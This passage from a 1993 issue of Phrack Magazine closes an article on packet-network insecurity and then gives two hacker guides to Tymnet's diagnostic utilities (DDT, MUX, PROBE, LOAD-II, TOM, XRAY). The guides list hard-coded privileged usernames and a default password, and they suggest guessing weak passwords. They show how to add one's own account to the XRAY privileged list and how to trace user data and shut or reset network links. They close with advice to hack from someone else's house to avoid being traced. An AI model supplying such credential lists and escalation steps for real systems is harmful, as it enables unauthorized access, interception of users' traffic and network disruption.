exclaimed rather excitedly that he had attempted to connect
to his partner as planned, but accidentally connected to
another PAD and intercepted a legitimate user typing his NUI.
Further investigation proved that one could connect to public
PADs during the idle period when the user was in network
mode, prior to making a connection to a remote site. This
discovery was intended to remain secret, because of its
extremely dangerous applications. Nevertheless, word of this
discovery soon reached the entire hacker community and what
came to be known as "PAD to PAD" was born.
The "PAD to PAD" technique became so wide-spread that hackers
were soon writing software to intercept data and emulate
hosts and capture login names and passwords from unsuspecting
network users. Hackers were intercepting thousands of calls
every day from users connecting to systems ranging from
banking and credit to the Fortune 500 to government sites.
After nearly two years of "PAD to PAD" Sprintnet became
alerted to the crisis and disallowed all connections to
public PADs. When Sprintnet expanded its service overseas
they once again left access to the overseas PADs
unrestricted. The problem went unnoticed again until
their attention was brought to it by a hacker who called
Sprintnet security and told them that they ought to fix it
quickly before it became as wide-spread as before.
The problem was resolved much quicker this time.
This particular technique was not limited to Sprintnet. All
networks using the Telenet software are at risk to this type
of manipulation. This type of network manipulation was
integral in the recent compromise of a large Bell Company's packet
network in a much-publicized case. Certain foreign
networks in countries such as Israel, England, Chile, Panama,
Peru and Brazil are also at risk.
EXAMPLE TWO
In the late 1980's hackers stumbled onto a packet network
owned and maintained by a large facilities maintenance
company. This particular network had a huge flaw in its
setup. It connected all calls placed through it as if they
were placed with an NUI. This allowed hackers to place calls
to addresses that refused collect connections on networks
around the world. This became a popular method for hackers
to access underground chat systems in Europe. Additionally,
this network contained a score of computers belonging to a
major automobile manufacturer. Most of these systems were
highly insecure. The network also allowed unrestricted
access to network debug ports. This particular network also
had a toll-free number on an MCI exchange. At the time, MCI
was having some difficulty getting their equipment to accept
the ANI information to provide customers with a full call-
detail report on their monthly statement. The hackers were
well aware of this fact and made frequent use of the network
with no fear of prosecution. Eventually MCI was able to fix
their translation problem and were able to provide their
clients with full call-detail reports. When this was
learned, many hackers abandoned use of the network, but
several others were later prosecuted for its usage when their
number turned up on the bill.
EXAMPLE THREE
Until quite recently intimate knowledge of the utilities
driving various packet-switched networks were known by an
exclusive few. While investigating a network owned by an
extremely large Cleveland-based conglomerate hackers came
across a system where documentation on the usage of every
utility was kept online. The hackers quickly downloaded all
the information and it soon became somewhat wide-spread among
the underground community. With less-skilled and more
unscrupulous individuals in possession of this information
many networks began experiencing disruptions and system
integrity was quickly lost as hackers began monitoring data
traffic.
No information on the usage of packet networks or their
utilities should ever be kept online. Hard copies should be
kept in the possession of the network administrator, and when
updated, obsolete versions must be destroyed.
WHAT TO DO
When a security violation stemming from a connection through
the packet network is noticed, Network Security should be
notified. Clients of BT-Tymnet should notify Steve Matthews
at 408-922-7384. Clients of Sprintnet should notify
Pat Sisson at 703-689-6913.
Once changes have been enacted in the network to prevent
further break-ins, the host computer should be checked
thoroughly for any changes or damages, and all individual
account passwords should be changed.
CONCLUSION
It is critical that the packet network be configured properly
and that all measures are taken to ensure its security. Even
the most secure host computer can be easily compromised if it
is connected to an insecure packet network.
----------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Two, File 5 of 14
= - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = -
Synopsis of Tymnet's Diagnostic Tools
and their associated
License Levels and Hard-Coded Usernames
by
Professor Falken
February 14, 1993
= - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = -
While the scope of this article is general, the information contained
within is NOT for the novice Tymnet explorer. Novice or NOT, go ahead
and read; however, caution should be taken when invoking any of these
commands upon BT's network. Execution of certain commands can have
debilitating consequences upon segments of the network.
In this article I intend to educate the reader about the various
Tymnet diagnostic utilities that are available. This article is by no
means an in depth microscopic view of the utilities; but rather a brief to
the point survey course of what is available to qualified people. With
each utility I will describe its use/s, list its major commands, and
in DDT & XRAY's case, dispense its hard-coded usernames which allow you to
become a 'qualified person.'
It seems the software engineers at Tymnet (for the lack of something
better to do) like to rename ordinary words to complicated ones. For
instance, within this article I will talk about LICENSE LEVELS. License
levels are nothing more than security levels. When I speak of License
Level 4, just translate that to Security Level 4. I would have just called
everything security levels, but I wanted to stay within that lethargic
Tymnet mood for realism purposes. Another word the engineers pirated from
'GI JOE' was GOOD-GUYS. In our world, a Good-Guy is a valid username that
can be used for logging into the various diagnostic utilities.
Like most conventional computers, Tymnet also needs an operating system
for its code to run under. Tymnet's node-level, *multitasking*, operating
system is called ISIS; it stands for 'Internally Switched Interface System.'
Its designed for: handling multiple communication links, allocating system
memory, system job/process scheduling, and all the other BASIC things ALL
operating systems do. Tymnet explains it a bit more complicated and less
to the point, but to give equal time to the opposing viewpoint, this is
what they say:
"Internally Switched Interface System. The operating system for a TYMNET
node; provides functions that control the overall operation of an
Engine. These functions include, but are not limited to, memory
allocation, message switching, job scheduling, interrupt processing,
and I/O distribution. ISIS allows multiple data communications
functions to run on a single processor. Two of its many services are
debugging and I/O port management. Formerly known as ISIS-II or ISIS2.
ISIS2, ISIS-II Obsolete terms. See Internally Switched Interface
System (ISIS)."
At various points within this file I will refer to an ENGINE.
Basically, an ENGINE is a minicomputer which handles all the processing
requirements that ISIS and its applications demand. However, to be fair to
all the Tymnet technoids, this is what BT says:
"BT North America packet-handling hardware. The Engine communications
processor is a member of a family of special-purpose minicomputers.
It runs communications software such as Node Code (for switching),
slot code (for protocol conversion and value-added functions), and
the ISIS operating system. The Engine family consists of the
Pico-Engine, Micro-Engine, Mini-Engine, Mini-Engine-XL,
Dual-Mini-Engine-XL, Engine, and ATC."
You think they would have invented much NEATER names for their computer
platforms than 'Mini-Engine' or 'Micro-Engine'. I would guess that BT's
hardware engineers have less time than the software engineers to invent
K-RAD names for their projects. Anyhow, as you can see, the ENGINE is the
muscle behind Tymnet's network brawn.
Another term which is very basic to ANY understanding of Tymnet is the
'SUPERVISOR.' As you can see the engineers searched high & low for this
clever term. The Supervisor is many things including, the authentication
kernel you interact with, the circuit billing system that subscribers
unfortunately do not interact with, and generally the network's 'BIG BROTHER.'
Supervisor watches the status of the network at all times, keeping detailed
logs and interceding when trouble erupts. The supervisor term can also
refer to the engine upon which the Supervisor is being run on.
With all that in mind, I will now introduce five of Tymnet's diagnostic
tools. I intend on presenting them in this order: DDT, MUX, PROBE, LOAD-II,
TOM, and XRAY. Please note that only DDT and XRAY have 'good-guy' lists
provided.
DDT - Dynamic Debugging Tool
----------------------------
DDT is a utility which runs under the ISIS operating system. DDT is
capable of loading or displaying a slot's content. A slot is an area of
memory in a node in which Tymnet applications run. DDT can also be used
for modification of a specific slot's slot code. Slot code is any
program which has been assigned memory within the engine by ISIS. DDT also
performs other lower level diagnostic functions, which I will not go into.
Logging into DDT requires you to provide the 'please log in:' prompt
a valid username and password. Upon checking the good-guy list and
authenticating the user, the kernel process searches for the associated
slot assignment. If no slot is assigned to the good-guy, the kernel will
prompt you for a slot number. Once you enter a VALID slot number and it is
available, the authentication kernel executes the DDT utility. When I say
'VALID' slot number, I mean a slot number which logically exists AND is
attainable by your current good-guy's license level.
Actual logins to DDT take the form:
please log in: goodguyID:host# <cr>
password:
Where goodguyID is a valid goodguy, host# is the Tymnet subscriber who
needs a little 'work' done, and obviously the password is what it is. While
I would like to give you all the passwords I could, I don't think it is
going to happen. So all I can do is suggest trying different variations
of the goodguy IDs, and other dumb passwords unsecure people use.
Connection to primary DDT is displayed as the ever-so-friendly '*' prompt.
It is from this prompt that all general DDT commands are directed. The most
useful DDT commands are listed below in a general, extended, and RJE/3270T
specific registry.
GENERAL DDT COMMANDS
--------------------
E Execute a slot.
H Halt a slot. <---- DESTRUCTIVE See WARNING!
ZZ Logs you out of DDT.
^# Transfers control from the current slot to the slot
specified by #. (IE- ^7 Switches control to slot 7)
?CPU Displays CPU utilization (Engine Performance)
?HIST Displays a history of diagnostic messages.
?HOST Displays the hosts in use by that slot.
?LU Displays the logical unit to physical device assignment.
?MEM Displays the time of memory errors if any.
?STAT Allows the execution of EXTENDED DDT. To obtain the extended
command prompt type '/'.Command prompt ':>'
?VERN Displays the ISIS version followed by the SLOT's version.
WARNING!: It is possible to HALT a slot accidently. This will freeze
everything going in/out of the current slot. This can be BAD
for customer satisfaction reasons. If you accidently hit 'H',
even without a CR/LF it will hang the slot. So when the ?HIST or
?HOST commands are used make SURE you type that important '?'
beforehand. This will halt everything going over that slot,
effectively destroying the communication link.
EXTENDED COMMANDS FOR RJE & 3270T
---------------------------------
RJE & 3270T
===========
EXI Logs you out. (DuH!)
QUIT Return from extended DDT prompt ':>' to normal '*' DDT prompt.
RJE Only
========
HELP Displays a list of commands available in extended RJE DDT mode.
(A list not worth putting in here.)
SCOPE Outputs a protocol trace.
TRACE Outputs a state trace.
3270T Only
==========
HELP Displays a list of commands available in extended 3270T DDT mode.
(Again, a list not worth putting in here.)
STATUS Displays status of all lines, control units, and devices.
STRTLN x Start polling on line x. (Performance benchmark)
STRTCU x,y Start polling control UNIT x on LINE y. (Performance benchmark)
STOPLN x Stop polling on line 'x'
STOPCU x,y Stop polling control UNIT x on LINE y.
NOTE:If you try to use an RJE command while logged into a 3270T you will
be shown the incredible "ILLEGAL COMMAND" string.
GOOD-GUYS AND LICENSE LEVELS
----------------------------
As with any username, there is an accompanying license level (security
level) with each account. The different levels define which types of
slots that username may access and the available commands. Some of the
good-guys have access to all slots including supervisor, while others
have access to only non-supervisor slots.
The table below is a list of the actions that are available with the
various different license levels.
L.DISC Permits disk formatting
L.H Permits the halting, loading, and restarting of all slots for
code-loading purposes.
L.P Permits the halting, restarting, and online software modification
to an active slot. (Except slots 0 and FF)
L.R Permits logon to all slots (Except 0 and FF)
L.SOA Permits logon to a node's slot 0. (Node configuration.)
L.SOP Permits the halting, restarting, and online software modification
to slot 0.
L.SOR Permits the reading of slot 0 files.
L.SUA Permits logon to Supervisor slots.
L.SYA Permits logon to a node's FF slot. (ISIS configuration node.)
L.SYR Permits the reading of slot FF files.
L.SYP Permits the halting, restarting, and online modification to
slot FF.
The DDT license levels are numbered from 0 to 4, 4 being Gh0D. Each level
has several of the above named actions available to them. Listed below are
the various actions available at the 0 through 4 license levels.
LEVEL ACTIONS
===== =======
4 L.DISC, L.P, L.SOA, L.SOP, L.SUA, L.SYA, and L.SYP .
(Disk format, halt, restart, online software mods, and reading
of files for all slots AND supervisors. Like I said, GOD.)
3 L.P, L.SOA, L.SOP, L.SYA, and L.SYP .
(Halt, restart, online software mods, and reading of files for
all slots and supervisors.)
2 L.H, L.R, L.SOA, L.SOR (For code loading purposes: halt, restart
online software mods, and reading files for all slots and
supervisor nodes.)
1 L.R, L.SOA, L.SYA (Views ALL slots and supervisor nodes)
0 L.R (Views all slots, EXCEPT supervisor slots and 0 & FF.)
What follows is a good-guy userlist with the associated license level
of that username. I also note whether the account is ACTIVE/PASSIVE upon
an operating node/slot combination and the seriousness of the network
impact that those associated licenses can possibly create.
LICENSE LEVEL GOOD GUY USERNAME ACTIVE/PASSIVE NETWORK IMPACT
============= ================= ============== ==============
4 ISISTECH Active MAJOR
4 NGROM Active MAJOR
4 NSSC Active MAJOR
4 RPROBE Active MAJOR
4 RERLOG Active MAJOR
4 RACCOUNT Active MAJOR
4 RSYSMSG Active MAJOR
4 RUN2 Active MAJOR
4 TNSCM Active MAJOR
3 IEXP Active Moderate
3 ISERV1 Active Moderate
3 ISERV2 Active Moderate
3 ISERV3 Active Moderate
3 ITECH1 Active Moderate
3 ITECH2 Active Moderate
3 ITECH3 Active Moderate
3 ITECH4 Active Moderate
3 ITECH5 Active Moderate
2 GATEWAY Active Minor
1 DDT Passive
1 DDTECH Passive
1 IOPPS Passive
1 ISERV Passive
1 ITECH Passive
0 VADICBUSY Passive
MUX - The Circuit Multiplexer
-----------------------------
MUX is a tool which also runs within an ISIS slot. MUX allows the
building, interconnecting, and controlling of several sets of circuits from
a single terminal. Instead of logging in and out of each diagnostic
tool as different commands are needed, MUX is used to create multiple
concurrent circuits. Once these are set up, it is easy to switch back
and forth between different diagnostic applications, WITHOUT having to
logoff one before logging into another. Tymnet also likes to boast that
you can chat with other users on MUX's 'Talk mode facility.' I'll stick
to IRC until this catches on.
Logging into MUX is quite simple. It takes the form of:
please log in: userid <cr>
password:
NOTE: ATTN commands, see CHAR command.
ATTN ATTN Allows you to send one attention character down the circuit.
ATTN C x Labels the current port, where 'x' is the label you desire.
ATTN E Allows you to switch to the next port you have defined.
This command however is not valid from the command mode.
The circuit label is presented and connection is made.
Even though the prompt for that circuit is not presented,
you ARE connected.
ATTN Z Returns you to the command mode.
CHAR char Configures your ATTN character to 'char'. So in the below
ATTN commands, you will have to enter your ATTN character
then the proceeding character. The default ATTN Character
is CTRL-B. Personally, I like to set mine to '!'.
CONNECT pl1,pl2 Connect the output of port label-1 to port label-2.
Usually your current port label is marked with a * preceding
it in a 'LIST', this is also known as a BOSS.
ENABLE pl Enables a pl's (port labels) output.
EXIT Leave MUX with all your circuits INTACT.
FLUSH pl Flush pl's (port labels) output.
FREEZE N/F Freeze (N=ON or F=OFF) current Boss.
GREETING msg Sets up the greeting message.
HEAR N/F Allow (N=ON or F=OFF) users to 'TALK' to each other.
HELP Prints help messages. (ooof)
LIST Lists all active ports for the current user. (ATTN Z L)
LABEL N/F Labeling (N=ON or F=OFF) of all output sent to the Boss.
MAKE Make a new circuit by logging onto a diagnostic tool.
You will be prompted with the omnipresent 'Please log in:'
prompt. Just login as usual for particular tool.
MESSAGE Print last message.
QUIT Leave MUX and ZAP all circuits created.
SEND pl Send to pl (port label).
TALK username Talks to 'username' providing HEAR=N.
TIME Outputs date and time in format: 31Dec93 05:24
TRANSFER pl Transfers control of this BOSS to pl (port label).
ZAP pl Zap any circuits you made, where 'pl' is the port label.
This command defaults to the port labeled '*' (Boss).
This command is ONLY valid in command mode.
PROBE
-----
PROBE is probably one of the BEST known Tymnet diagnostic tools.
PROBE is actually a sub-program of the Supervisor. PROBE is capable of
monitoring the network, and it has access to current pictures of
network topology, including host tables and node descriptors. PROBE
shares common memory with the Supervisor and has circuit tracing
capability. PROBE can be used to check the history of nodes & links,
boot a node, trace a circuit, and reset a link or shut one down.
PROBE can be access directly or through TMCS (Tymnet Monitoring
and Control System.)
To access PROBE from within TMCS you would enter the command:
PROBE s Where 's' is the active or 'sleeping' supervisor.
For more PROBE related TMCS commands or general TMCS commands, please
refer to an appropriate source. If the demand is great enough, perhaps I
will release a TMCS reference sheet in the future.
PROBE access is determined by the sum of the individual license
levels granted to the user. PROBE licenses are as follows:
License Description
------- -----------
00 Permits view only commands -- user is automatically logged off
from PROBE after 20 minutes of no activity.
04 Permits view only commands -- no automatic logoff.
20 Permits all 00 commands plus ability to effect changes to
network links.
10 Permits ability to effect changes to node status.
01 Permits ability to effect changes to network supervisors.
02 Permits ability to effect changes to supervisor disks.
I do not have any hardcoded usernames for PROBE with this exception.
The PROBE access username 'PROBE' is hardcoded into the supervisor,
and usually each host has one hardcoded PROBE username: CONTROL -- license
level 37. So in comparison with the above chart, CONTROL has Gh0d access
to PROBE commands, because everything added up equals 37 (duh). On many
subnets, the username RPROBE has similar access.
PROBE COMMANDS
Command Lic. Lvl Description
------- -------- -----------
CHANGE 00/04 Changes your PROBE personal password.
EXI 00/04 Logout.
HELP 00/04 Help. (Temple of Sub-Genius)
SEND x text 00/04 Sends message to Probe user whose job label is 'x'.
VERSION 00/04 Lists current software version number.
WHO 00/04 Lists currently logged in PROBE users. (Useful)
DISPLAY CMDS:
Command Lic. Lvl Description
------- -------- -----------
ACCT 00/04 Displays # of accounting blocks on Supervisor disk
available for RAM session record data.
AN 00/04 Displays detailed information about active nodes.
ASTAT 00/04 Displays number of login and circuit building
timeouts.
AU 00/04 Displays node numbers of ALL active nodes that are up.
CHAN x 00/04 Displays port number used by Supervisor for command
circuit to node 'x'.
COST x 00/04 Displays cost of building command circuit to node 'x'.
CSTAT 00/04 Displays time, login, rate, and network status every
15 seconds.
EXC O|S|P 00/04 Displays links that are overloaded (O), or shut (S),
or out of passthroughs (P).
HOST x 00/04 Displays information about host 'x' or all hosts.
LACCT 00/04 Displays number of last accounting block collected
by RAM session record data.
LRATE 00/04 Displays Supervisor login rate in logins per min.
LSHUT 00/04 Displays shut links table.
LSTMIN 00/04 Displays circuit status information gathered by
Supervisor during preceding minute.
N x 00/04 Displays status info about node 'x'.
OV x 00/04 Displays overloaded links.
PERDAT 00/04 Displays Supervisor performance data for preceding min.
RTIME 00/04 Reads 'Super Clock' time and displays year, and
Julian date/time.
STAT 00/04 Displays network status information.
SYS 00/04 Displays host number running PROBE.
TIME 00/04 Displays Julian date and network time.
TSTAT 00/04 Displays same information as STAT, preceded by
Julian date/time.
VERSION 00/04 Displays current versions of PROBE and Supervisor
software.
WHO 00/04 Displays active PROBE users and their job labels.
LOG MESSAGE CMDS:
Command Lic. Lvl Description
------- -------- -----------
LOG 00/04 Outputs network information from Supervisor log.
REPORT 00/04 Controls output of node reports.
RLOG m1..m4 00/04 Restricts log output to up to four message numbers.
M1- 1st Message, M2- 2nd Message, etc.
RNODE n1 n2 00/04 Restricts log output to messages generated at nodes
N1 and N2.
NETWORK LINK CMDS:
Command Lic. Lvl Description
------- -------- -----------
CSTREQ n1 n2 20 Requests total speed of all lines on specified
link. (n1= 1st Node n2= 2nd Node)
ESHUT n1 n2 20 Shuts specified link and enters it on shut links
table. (n1= 1st Node n2= 2nd Node)
PSTAT n Hhost p 20 For node 'n', displays status of logical ports
for port array 'p' on 'host'. Note the capital
'H' must precede the host specific.
RSHUT n1 n2 20 Opens specified link and removes it from shut
links table.
SYNPRT n 20 Displays status of async ports on node 'n'.
TRACE n Hhost p 20 Traces specified circuit. Where 'n' is node,
or n Sp 20 'host' is HOST, and 'p' is port. Or for secondary
command: 'n' node name, 'p' port. Again, 'S' must
precede the port name.
T2BORI n1 n2 20 Resets communication channel between node n1 and
node n2.
NETWORK NODE CMDS:
Command Lic. Lvl Description
------- -------- -----------
CLEAR n 10 Opens all links on node 'n'.
DLOAD n 10 Causes node 'n' to execute its downline load
bootstrap program.
NSHUT n 10 Shuts all links on node 'n'.
RETAKE n 10 Causes Supervisor to release and retake control
of node 'n'.
SPY 10 Displays last 32 executions of selected commands.
NETWORK SUPERVISOR CMDS:
Command Lic. Lvl Description
------- -------- -----------
AWAKE 01 Wakes a sleeping Supervisor. (Only one Supervisor is
active at one time, however there can be supervisors
'sleeping'.)
CLASS 01 Causes Supervisor to read Netval class and group
definitions.
DF s 01 Increases Supervisor's drowsiness factor by 's' seconds.
ETIME 01 Sets time known to Supervisor.
FREEZE 01 Removes Supervisor from network.
PSWD 01 Displays password cipher in hex.
SLEEP 01 Puts active Supervisor to sleep.
THAW 01 Initializing frozen Supervisor.
TWAKE 01 Wakes sleeping Supervisor, automatically puts active
Supervisor to sleep and executes a CSTAT command.
USER UTILITY CMDS:
Command Lic. Lvl Description
------- -------- -----------
ENTER 01 Adds/deletes/modifies Probe usernames.
HANG x 01 Logs off user with job label 'x'.
LIST 01 Displays Probe usernames.
ULOGA 20 Enters user-generated alphabetic message in msg log.
ULOGH 20 Enters user-generated hex message in msg log.
SYSTEM MAINTENANCE / DISASTER RECOVERY CMDS:
Command Lic. Lvl Description
------- -------- -----------
DCENT n1 n2 02 Allows Tymnet support temporary, controlled access
to a private network. (Useful)
DCREAD 02 Reads current value of password cipher associated
with DCENT username.
FTIME +/- s 02 Corrects the 'Super Clock' by adding (+) or
subtracting (-) 's' seconds from it.
INITA 02 Initializes accounting file to all zeros.
INITL 02 Initializes log to all zeros.
NOTE: Each PROBE is a separate entity with its own files. For example,
if you shut lines in the PROBE on the active Supervisor, this will
NOT be known to the sleeping PROBE. If another Supervisor takes
over the network, it will not consider the link to be shut.
Likewise, PROBE password changes are made only to one PROBE at a
time. To change your password everywhere, you must do a CHANGE in
each probe.
LOAD-II
-------
LOAD-II is probably one of the LEAST known of Tymnet's utilities.
LOAD-II is used to load or dump a binary image of executable code for a
node or slot. The load/dump operation can be used for the ENTIRE engine,
or a specific slot.
Upon reaching the command prompt you should enter:
R LOADII <cr>
This will initiate an interactive session between you and the LOAD-II
load/dumping process. The system will go through the following procedure:
TYMNET OUTPUT YOUR INPUT WHAT THIS MEANS TO YOU
------------- ---------- ----------------------
Enter Function: G 'G' Simply means identify a gateway
Enter Gateway Host: #### This is the 4 digit identifier for hosts
on the network. I know that 2999 is for
'MIAMI'.
Password: LOAD This is the default password for LOAD-II.
Function: C 'C' for crash table dump, OR
D 'D' to dump an entire engines contents, OR
L 'L' to load an entire engines contents, OR
S 'S' to load a slot, or
U 'U' to dump a slot.
Neighbor Node: #### Selects neighbor node number.
Neigh. Kern. Host#: ### This 3-digit code is derived by adding the
first two digits of the node number and
appending the last two digits to that sum.
Line # to Load From: ## Use the line number coming off the
neighbor node, NOT the node that is DOWN.
Object File Name: File used to load/dump node or slot from/to.
EXIT EXI Send program to end of job.
TOM - TYMCOM Operations Manager
-------------------------------
TOM is utility which runs under TYMCOM. Quickly, TYMCOM is an interface
program for the host computer which imitates multiple terminals. Quoting
from Tymnet, "TYMCOM has multiple async lines running to the
front-end processor of the host." So in other words, TYMCOM has a
bunch of lines tied into the engine's front-end, allowing a boatload of
jobs/users to access it.
TOM is primarily used with TYMCOM dialup ports. It is used to DOWN and
then UP hung ports. This type of situation may occur after a host crash
where users are getting a 'Host Not Available' error message. TOM can also
be used to put messages on TYMCOM in order to alert users to problems or
when scheduled maintenance will occur on various hosts/ports. To login
type:
##TOM##:xxxx
Where 'xxxx' is the appropriate host number you wish to 'work' on. After
proper hostname is given, you will then be prompted for a password. As I
have none of these to give, play on 3-5 character combinations of the
words: TYMCOM, TOM, HIF, OPMNGR.
Command Description
------- -----------
GRAB TOMxxxx This should be the FIRST thing you do when down/upping
a host. Gets license for up or down host, then prompts for
password of host. Where 'xxxx' is the host number. You
must have privileged status to use.
CHANGE xxxx Change a host number to 'xxxx'.
DIAGNOSTICS Turns the diagnostic messages off or on.(Toggle)
DOWN P xx Take DOWN port number 'xx', or
H xxxx Take DOWN host number 'xxxx'.
ENQUIRE Lists information about the node and slow where TYMCOM is
running.
EXIT Logout.
MESSAGE Sets text to be output to the terminal when a user logs in.
SHUT H xxxx Disallow new logins to a specified host = 'xxxx', or
P xx Disallow new logins to a specified port = 'xx'.
SPEED xxxx Specifies the baud rate at which a port will communicate.
STAT P xx-yy Shows status of port numbers 'xx' through 'yy'. Either
one or a number of ports may be specified.
TIME Displays the current time.
TO x message Sends 'message' to specified user number 'x'.
UP P xx Bring UP port number 'xx', or
H xxxx Bring UP host number 'xxxx'.
WHO Lists user numbers of all users currently logged into TOM.
XRAY
----
XRAY is another one of the very well known commands. XRAY is a program
which sits within node code and waits for use. Its used to gain
information about a specific node's configuration and its current status in
the network. It can be used to determine the probable reason for a crash
or line outage in order to isolate bottlenecks or track down network
anomalies.
XRAY user licenses are all assigned a logon priority. If every XRAY
port on a node are in use, and a higher priority XRAY username logs in,
the lowest priority username will be logged out.
License Description
------- -----------
2 Permits the writing and running of disruptive node tests.
1 Permits the running of non-disruptive node tests.
0 Permits view only commands.
The following list is a compilation of some hardcoded 'good-guys'.
LICENSE LEVEL PRIORITY GOOD GUY USERNAME ACTIVE/PASSIVE NETWORK IMPACT
============= ======== ================= ============== ==============
2 98 XMNGR Active MAJOR
2 98 ISISTECX Active MAJOR
2 97 XNSSC Active MAJOR
1 50 TNSCMX Active Minor
1 50 TNSUKMX Active Minor
1 40 XSOFT Active Minor
1 40 XEXP Active Minor
1 40 XCOMM Active Minor
1 40 XSERV1 Active Minor
0 50 XRTECH Passive
0 30 XTECH Passive
0 30 XOPPS Passive
0 30 XSERV Passive
0 0 XRAY Passive
What follows is a VERY brief command summary.
Command Description
------- -----------
CD Displays current auto/display mode for CRYPTO messages.
CD Y|N Turns ON/OFF automatic display of CRYPTO messages.
CL n Display the last 'n' CRYPTO messages.
CRTL Z Logout.
BT Causes the SOLO machine to go into boot. Audited command.
DB Used to build and measure link delay circuits between
nodes. The DB command prompts for a node list. IE-
NODE LIST: <node #1 node#2 ... node#x>
DD Displays link measurement data for circuit built by the
DB command. Verifies that the circuit has been built.
DE Used to terminate the DB command.
HT Puts the node code into a STOP state. This command shows
up in audit logs.
KD n Display link descriptor parameters where 'n' is the
neighbor number.
KS n Display link performance statistics (link delay, packet-
making, bandwidth utilization, etc.)
ND Displays information about the configuration of a node
and its neighbors.
NS option Displays parameters for estimating node work load. Options:
-EXCT is the current load factor or execute count. A count
of less than 60 means the load is heavy.
-EXLW is the lowest EXCT value computed since startup.
-EXHW is the highest EXCT value computed.
SN Restarts the node, command audited.
------------------------------------------------------------------------------
I hope this file gave you a better understanding of the Tymnet network.
While a lot of the commands make sense only if you've had prior Tymnet
experience, I hope my summaries of each tool gave you a little better
understanding of the network. I am available for questions/comments/gripes
on IRC, or I can be reached via Internet mail at:
pfalken@mindvox.phantom.com
Thanks goes out to an anonymous hippy for providing the extra nudge I needed
to sit down and write this phile. NO thanks goes out to my lousy ex-roommates
who kicked me out in the middle of this article. Their day is approaching.
Be careful everyone...and remember, if you have to explore the
mysterious fone/computer networks, do it from someone else's house.
- Professor Falken
= Legion of Doom!
<EOF-93> [Written with consent and cooperation of the Greys]
==Phrack Magazine==
Volume Four, Issue Forty-Two, File 6 of 14
A User's Guide to XRAY
By N.O.D.
This file was made possible by a grant from a local
McDonnell Douglas Field Service Office quite some 'tyme'
ago. This was originally written about version 4, although
we are pretty sure that BT has now souped things up to version 6.
Everything still seems the same with the exception of a few
commands, one of which we will point out in particular.
Any comments/corrections/additions/updates or subpoenas
can be relayed to us through this magazine.
XRAY is a monitoring utility that gives the user a real-time
window into a Tymnet-II node. Used in tandem with other
utilities, XRAY can be a very powerful tool in monitoring network
activity.
In this file we will discuss key features of XRAY and give command
formats for several commands. Some commands are omitted from this
file since they can only be used from dedicated terminals. Several
others are likewise omitted since they deal with the utilization of
XRAY in network configuration and debugging the actual node code, and
would probably be more damaging than useful, and commands to reset
circuits and ports are similarly missing.
ACCESS
The most obvious way to access XRAY is to find the username/password
pair that either corresponds to the host number of an XRAY port, or
is otherwise in the goodguy list of a particular node.
XRAY can also be accessed through the DDT utility by typing
?STAT
Either will respond with the following
**X-RAY** NODE: XXX HOST: ZZZ TIME: DD:HH:MM:SS
If all ports are currently in use the user will only be allowed access
if his/her is of greater precedence in the goodguy list than that of
someone previously online. In such a case, that user will be forcibly
logged out and will receive the following message:
"xray slot overridden"
Otherwise the user will see:
"out of xray slots"
XRAY users are limited in their power by the associated "licence" level
given them in the XRAY goodguy list. The levels are:
0 - normal
1 - privileged
2 - super-privileged
There are several user names associated with the
XRAY utility. These exist on almost any network utilizing
the Tymnet-II style networking platform.
PRIORITY USERNAME
2 XMNGR
2 ISISTECX
2 XNSSC
1 TNSCMX
1 TNSUKMX
1 XSOFT
1 XEXP
1 XCOMM
1 XSERV1
0 XRTECH
0 XTECH
0 XOPPS
0 XSERV
0 XRAY
COMMANDS with parameters in <brackets>
HE Help
Use this command to display the commands available for that
particular node.
GP Get power <security string>
This command allows the user to move up to the maximum security
level allowed by his username, as specified in the good guy
list.
XG Display and/or modify XRAY goodguy list <entry number> <P/M>
This command without parameters will display the XRAY goodguy
list. When added with an entry number and 'P' (purge) or
'M' (modify), the user can edit the contents of the table.
The XGI command will allow the user to enter a new entry
into the list. Any use of XG or XGI to alter the list is
a super-privileged command and is audited.
>XG
XRAY GOODGUY LIST
NO. PRIV OVER NAME
---- ---- ---- ----
0001 0002 00FF TIIDEV
0002 0001 0030 RANDOMUSER
0003 0000 0000 XRAY
>XGI
ENTER UP TO 12 CHARACTERS OF USERNAME
NOD
ENTER NEW PRIVILEGE AND OVERRIDE - 2,FF
>XG
XRAY GOODGUY LIST
NO. PRIV OVER NAME
---- ---- ---- ----
0001 0002 00FF TIIDEV
0002 0001 0030 RANDOMUSER
0003 0000 0000 XRAY
0004 0002 00FF NOD
BG Display and/or modify Bad Guy List <node number> <R/I>
This command when entered without any parameters displays the
"bad guy" list. When used with a node number and 'R' it will remove
that node from the list, and 'I' will included. The 'R' and 'I'
features are privileged commands and usage is noted in audit trails.
>BG
2000 701 1012
>BG 2022 I
2022 2000 701 1012
HS Display host information
ND Display node descriptor
This command displays information about the node and its network
links.
NS Display node statistics
This command displays various statistics about the node including
time differentiations in packet loops, which can then be used to
determine the current job load on that particular node.
KD Display link descriptor <linked node>
This command displays the values of the link to the node specified.
This is displayed with columns relating to type of node (TP), speed
of the link (SP), number of channels on the link (NCHN), etc..
KS Display link statistics <up to 8 node numbers>
This command provides a report on various factors on the integrity
of the link to the given node(s), such as bandwidth usage, packet
overhead, characters/second transmitted, delays in milliseconds, etc.
BZ "Zap" link to node <node number>
This command will cause the link to the specified node to be
reset. This command is privileged and is audited. If the node
"zapped" is not currently linked a "??" error message will be
displayed.
TL Set/Reset trace on link <node number>
TN Set/Reset trace on line <node number>
TM Display trace events <B(ackground) / F(oreground)>
These commands are used to display activity between two active
nodes.
AC Display active channels <starting channel> <range of channels>
This command will display all active channel numbers for the given
range starting at the given channel number. Range is in hex.
QC Query channel status <channel number>
This command displays information about the given channel,
including throughput speed, source and output buffer size and
address location.
TC Enable/disable data trace on channel <channel number> <0/1>
This command with no arguments displays the channels
that are being diagnosed by the trace. The command with
a channel number and a '1' will enable data trace for that
channel, and a '0' will disable trace on that channel. Enabling
or disabling trace is a privileged command.
TD Display channel trace data in hex <count> <I/O>
TE Display channel trace data in hex including escapes <count> <I/O>
TA Display channel trace data as ASCII <count> <I/O>
With these commands trace data is displayed for a specified
time count. A prefixed 'I' or 'O' will show input or output
data. The default is both.
>ta 5
I/O CHN TIME
OUT 0040 ECC5 \86\86\0F\00\8A\80h\80\8CS\83valinfo;
IN 0040 EC87 \00\09\86\86\0D\08\00\00h
OUT 0040 0F67 \86\86\0E\00\880\8D
